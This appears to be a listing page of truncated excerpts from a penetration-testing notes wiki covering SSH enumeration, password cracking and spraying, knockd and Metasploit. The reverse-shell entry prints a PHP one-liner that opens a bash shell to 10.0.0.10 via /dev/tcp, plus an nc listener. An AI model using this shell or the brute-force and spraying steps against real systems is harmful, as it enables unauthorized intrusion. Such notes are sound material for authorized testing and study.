• SSH Secure Shell

    Notes If the serv­er needs old cryp­to, use -oKexAlgorithms=+diffie-hellman-group1-sha1 OpenSSH 7.7. allows to enu­mer­ate exist­ing users. It could be pos­si­ble on Win­dows 10 ssh-agent to extract the keys. Keys Get fin­ger­prints nmap -p22 --script ssh-hostkey $target Get hostkeys nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full $target Extract fin­ger­prints from exist­ing key file: ssh-keygen -E md5 -lf /tmp/found_keyssh-keygen -E sha1…

  • 22 SSH

    Enumeration Mandatory Try to access ssh ‑v $target Optional Reuse exist­ing credentials Brute-force with exist­ing user­names (Pass­word-spray­ing) Try ssh-audit $target Try known user­naes with user­name as pass­word or oth­er found strings. Privilege Escalation Find .ssh direc­to­ry on the file sys­tem and check all files within. Check sshd_config file. Check SSH ver­sion for exploits.

  • Passwort cracking

    (!) See also Pass­word spray­ing to check a obtained pass­word against usernames. Note: Use http://rumkin.com/tools/cipher/ if you have to encode/decrypt/decipher some­thing on the fly. Wordlist optimization If there is a pass­word pol­i­cy known: Check password policy In Win­dows, type net accounts to get infor­ma­tions about account lock­ing, lock­out threash­olds etc. Cloud-based performance cracking See NPK Default passwords Hashcat Am…

  • Reverse Shell ALT

    IF THE METERPRETER SHELL STUCKS, TRY TO ENTER ENTER MULTIPLE TIMES ON THE VICTIM. Aufbauen  Lausche auf einem Sys­tem, dass erre­icht wer­den kann z.B. mit nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution] Ini­ti­iere dann die Verbindung vom Ziel­sys­tem. Hier ein Beispiel direkt in PHP: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?> Anderes Beispiel, z.B. direkt in ein­er Kon­sole…

  • knockd

    With knockd a serv­er can be con­fig­ured to respond only after some ports were checked before. Its often used for SSH. Couter­mea­sure: Sniff traf­fic and wait for an user to login and recon­struct the knock­ing pat­tern out of the pcaps.

  • metasploit

    The usu­al stuff: workspace -a host42 // To create a new workspaceworkspace host42 // To open an existing workspacedb_nmap ...hostsservices...search smb type:auxiliary...vulns // Shows all found vulnerabilitiescreds // Shows all found credentials General usage Payloads Working with sessions Using the database A data­base can be used to store infor­ma­tions, pay­loads, etc. To cre­ate a ini­tial db,…